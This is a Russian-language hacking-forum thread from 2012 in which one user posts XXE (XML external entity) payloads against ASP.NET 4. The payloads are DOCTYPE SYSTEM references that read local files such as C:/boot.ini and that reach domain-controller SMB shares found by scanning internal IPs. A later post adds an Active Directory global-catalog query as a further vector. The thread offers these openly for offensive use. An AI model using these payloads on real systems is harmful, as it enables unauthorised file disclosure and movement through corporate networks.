Старый 26.02.2012, 05:32   #1
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию XXE под ASP.NET 4

Типа в ASP.NET не поддерживаются внешние сущности.
На самом деле они закрутили только ENTITY

Работает вот так
Код:
<!DOCTYPE root SYSTEM 'C:/boot.ini'>
Вывод содержимого файла зависит только он вывода ошибок и количества исключений, которые штатно обработал программист.

На практике прикольно гулять по контроллеру домена через фишку

Код:
<!DOCTYPE root SYSTEM '\\smbname\C$'>
Где smbname получается нехитрым перебором внутренних IP адресов.
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 27.02.2012, 14:50   #2
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Твою ж ты мать

Цитата:
The global catalog is a distributed data repository that contains a searchable, partial representation of every object in every domain in a multidomain Active Directory Domain Services (AD DS) forest. The global catalog is stored on domain controllers that have been designated as global catalog servers and is distributed through multimaster replication. Searches that are directed to the global catalog are faster because they do not involve referrals to different domain controllers.
GC://domain1.root.com;(&(objectClass=user)(objectCatego ry=Person)(userPrincipalName=myuser));userPrincipa lName,cn,distinguishedName;subtree

Ну что, зоводим тему уникальных XXE векторов?

http://technet.microsoft.com/en-us/library/cc728188(v=ws.10).aspx
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 22.11.2012, 14:30   #3
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Спускайте тему, все-равно уже все растрещали этот вектор благодаря удаленому посту
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2022, Jelsoft Enterprises Ltd. Перевод: zCarot